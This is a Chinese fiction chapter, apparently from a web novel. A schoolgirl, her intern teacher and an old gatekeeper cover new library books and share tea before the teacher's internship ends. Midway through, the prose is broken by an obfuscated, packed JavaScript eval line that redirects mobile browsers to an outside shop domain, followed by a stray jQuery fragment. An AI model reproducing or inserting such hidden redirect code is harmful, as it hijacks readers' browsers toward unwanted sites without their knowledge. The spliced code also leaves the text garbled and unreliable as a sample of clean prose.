周一中午，阳光晒得操场上的煤渣发烫。
苏念坐在教室最后一排，合上数学错题本塞进书包。周日的“青春杯”决赛考完了，题目是《那件小事》。她写了外婆给她梳头，写得顺，没有卡壳。交卷时她盖上笔帽，心里踏实，想说的都写清楚了。
至于能不能拿奖，她不去算。林知意说过，正常发挥就行。她现在不需要用一个奖去证明什么，也不需要用它换谁的关注。
走廊上有人喊她。
“苏念。”
是看门大爷。他站在后门，手里摇着一把边缘磨毛的大蒲扇。
“来校门口帮忙，”大爷扇着风，“新书到了。”
苏念拉上书包拉链，起身走出去。
校门口停着一辆三轮车，车斗里装着四个用草绳捆好的大纸箱。
林知意站在车旁，正拿支红笔跟送货师傅核对清单。她今天穿了件浅蓝色短袖衬衫，头发扎在脑后。
“林老师。”苏念走过去。
林知意在单子上打了个勾，签好字递给师傅。
“来了。”林知意指着纸箱，“学校这学期批的图书经费下来了。走，搬进去。”
纸箱又大又方。大爷抱起一个，稳当当往旧图书馆走。
苏念走到第二个纸箱前，弯腰抠住纸箱底部的缝隙，一使劲，抱在了胸/前。
箱子沉，硬纸板边缘勒得手指关节生疼。
她没松手，憋着气。纸箱挡住了一半视线，她只能盯着前面的路面。
林知意搬起第三个纸箱，跟在苏念后面。
“慢点走，”林知意在后面说，“别摔了。”
从校门口到旧图书馆要穿过操场，路面不平，有几处坑洼。苏念走得稳，鞋底踩在煤渣上沙沙地响。汗顺着额头流进眼睛，有点刺痛。她没腾出手去擦，继续往前走。
走到图书馆门口，大爷已经把第一个纸箱放下。
苏念走进去，弯腰把纸箱平放在水磨石地板上。松开手，手掌压出了一道红印，手指发麻。
林知意也放下纸箱，喘着气，抬手擦了擦额头的汗。
大爷转身去搬最后一个。
四个纸箱在长桌旁并排码好。
大爷从门房拿来一把生锈的美工刀递给苏念。
苏念蹲下身，推出刀片，刀尖扎进封箱胶带，用力一划，胶带应声裂开。
划开中间，再划开两边。
苏念翻开纸箱的盖板。
一股新纸张和油墨的味道涌出来，不刺鼻，有些涩，还夹着木浆的干气。
纸箱里整齐码着两列书。
最上面是一摞《收获》《十月》《当代》杂志。
苏念把杂志拿出来，放在旁边的桌上。
下面是厚皮的单行本。
她拿起一本，深绿色的封面，印着四个黑体字：《我与地坛》，下面是作者史铁生。
苏念盯着那四个字看了会儿。
上个月，语文组办公室门外挂了留言板，让学生写想看的书。大家都写武侠小说和漫画，苏念路过时，拿粉笔在角落里写了这几个名字。
她没指望学校会买，刘国强总说看课外书是浪费时间。
苏念翻开书页。书页雪白，页边锋利，没有一处卷边或脱胶的线头。
她有一本旧的，从旧书摊淘的。那本旧书封皮掉了一半，中间几页拿透明胶带粘着，字迹都虚了。
苏念拿着这本新书，站起身，走到自己常坐的那个靠窗位置。
她把书平放在桌角。这个位置，现在多了一本属于它的书。
“这批书质量不错，”林知意拆开另一个纸箱，翻看着，“鲁迅全集也买齐了。”
大爷从铁皮柜里抱出一/大卷透明塑料书膜，还有一盒长尾夹、一把剪刀和一板印着“碧城七中图书馆”的条形码。
“得包起来，”大爷把东西放在长桌上，“不然这帮小崽子，半个月就给翻烂了。”
苏念走回长桌前。
大爷拿过一本新书，展开透明书膜，凭手感剪下一块长方形。
他把书皮摊开放在书膜中间，揭开一角背胶贴上，拿一把塑料直尺顺着书皮往下刮。刮一下，背胶就贴紧了，没有一个气泡。
翻过面，剪掉四角的膜，把多余的边折进书封里压平。
不到两分钟，一本书包好了，平整，反光。
苏念拿起剪刀，学着大爷的样子剪下一块书膜。
她动作慢，量好尺寸，用指尖揭开背胶。贴上后，拿直尺慢慢往下推。推到中间，起了一个小气泡。
苏念停下，用指甲把气泡往边缘挤，挤出去，再继续推。
包完一本，她摸了摸封面，很滑。
林知意坐在对面，也拿着一把剪刀。
她选了本《朝花夕拾》。剪书膜时剪刀发钝，她用力一铰，边缘坑坑洼洼。
林知意没在意，去撕背胶。刚撕开一半，塑料膜起了静电，一下吸在她手背上。
她用右手去扯，背胶粘手，扯下来时把手背的汗毛都带立起来了。
林知意抽了口气。
她把膜重新对准书皮贴上去，没对齐，歪了。
想撕下来重贴，背胶却粘得紧，一用力，把书皮的纸带下来一块白屑。
林知意停下动作，看着那块破损的封面。
大爷抬起头看了一眼。
“林老师，你这手艺不行啊，”大爷把包好的书摞在旁边，“糟蹋东西。”
苏念看着林知意手忙脚乱。
林知意叹了口气，把废掉的书膜团成一团扔进垃圾桶，去撕第二张膜的背胶。
这次背胶怎么也撕不开。她用指甲抠了半天，费劲抠开一个角。
刚拉开一点，手一滑，背胶反卷，一下粘在她左手食指上。
林知意甩了甩手，没甩掉。
她用右手去扯，右手的拇指也被粘住了。
两只手被一块塑料膜连在了一起。
大爷没忍住，笑出了声。
苏念看着林知意举着两只手，也笑了。她平时很少笑，这次没憋住，肩膀直抖。
林知意脸红了。
“我不包了。”她放弃挣扎，把手上的胶带慢慢扯下来，“我负责贴标签。”
大爷把条形码标签推过去。
“这个简单，”大爷说，“贴在书脊下面，别贴歪就行。”
林知意拿过标签，撕下一张，双手拿着边缘，屏住呼吸，对准了才贴在苏念包好的书上。贴完用大拇指用力按了按。
“这个没贴歪。”林知意把书放好。
干了一个小时，桌上包好的书堆成了两座小山。
大爷站起身，捶了捶后腰。
“歇歇。”大爷走向门房。
过了一会儿，他端着一个旧塑料托盘走出来。托盘里放着一个旧紫砂壶，壶嘴结了一层茶垢，旁边是三个一次性纸杯。
平时大爷只用那个掉漆的搪瓷茶缸喝水，这紫砂壶一直放在柜子最里面。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849304|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
大爷把托盘放在长桌空处，提起旁边的暖水瓶拔下木塞。开水冲进紫砂壶，腾起一股热汽。
茉莉花的香味散开，盖过了屋里的油墨味。
大爷盖上壶盖闷了一分钟，然后提壶倒水。清黄/色的茶汤分进三个纸杯。
“喝口水。”大爷把纸杯推过去。
苏念端起纸杯，烫手。她吹了吹，喝了一口，不苦，有点甜。
林知意也端起杯子。“好茶。”她喝完一口，放下杯子。
大爷坐回椅子上，拿起自己的纸杯。
“我大学勤工俭学，也在图书馆干过。”林知意看着桌上的新书，“那时候负责上架，推着一辆铁皮车，在书架中间穿来穿去。”
苏念看着她。
“有一次，车轮卡在过道的缝里，”林知意用手指在桌上画了条线，“我用力一推，车翻了。几百本书砸在地上，声音很响，整个阅览室的人都看着我。”
苏念低头喝水。
“馆长让我把书重新按索书号排好，”林知意看着自己左手食指上残留的胶带印子，“我排了一整个下午，错过了食堂的晚饭。”
大爷喝着茶，没说话。
苏念看着林知意手上的那点印子，透明的残胶粘着灰尘。
这个下午，时间过得很慢。苏念能看清浮在空气里的灰尘，听见窗外树叶摩/擦的沙沙声。
她想把这一刻记住。
新书的油墨味，茉莉花茶的甜味，大爷的直尺刮过桌面的声音，还有林知意笨拙的动作。
这些比试卷分数，比和周雨晴较劲，都更真切。
下午的课结束了，放学铃响过两遍。
旧图书馆里的书终于全部包完，贴好了标签。
大爷把书搬进铁皮柜里锁上门。
苏念把桌上的碎胶带和废纸收拾干净，扔进外面的垃圾桶。
林知意背上单肩包，站在窗前。
太阳开始落山了。
夕阳斜照进来，在水磨石地板上铺开一片金黄。屋里的旧桌椅、铁皮柜，连空气里的灰尘，都浸在这片光里。
苏念洗完手甩干，走回屋里。
林知意转过头看着她。
夕阳照在林知意的侧脸，能看清她脸上的细小绒毛。
“苏念。”林知意开口，声音不高。
苏念停下脚步。
“下周我就回大学准备毕业答辩了，”林知意把包往上提了提，“实习期结束了。”
苏念心里有数，林知意之前提过。但听到她亲口说出“结束”两个字，苏念的手指在校服裤缝上蹭了一下。
她没说话，站着没动。
“谢谢你，”林知意看着苏念的眼睛，“这段实习，我过得很开心。”
苏念抿着嘴唇。
她想说点什么，比如祝你毕业顺利，比如以后常回来看看。但她什么都没说出来，她不习惯表达这些。
她只是走到长桌前，拿起自己书包，把那本崭新的《我与地坛》拿起来，放进书包里。
拉上拉链，背在肩上。
“林老师，”苏念看着那片金黄/色的光，“明天见。”
林知意笑了一下。
“明天见。”
苏念转身走出旧图书馆，操场上空无一人。天边的云被夕阳烧得通红。
她踩着煤渣跑道往校门口走。
书包沉，里面装着那本她自己包好书膜的新书。
她走得稳当，没有回头。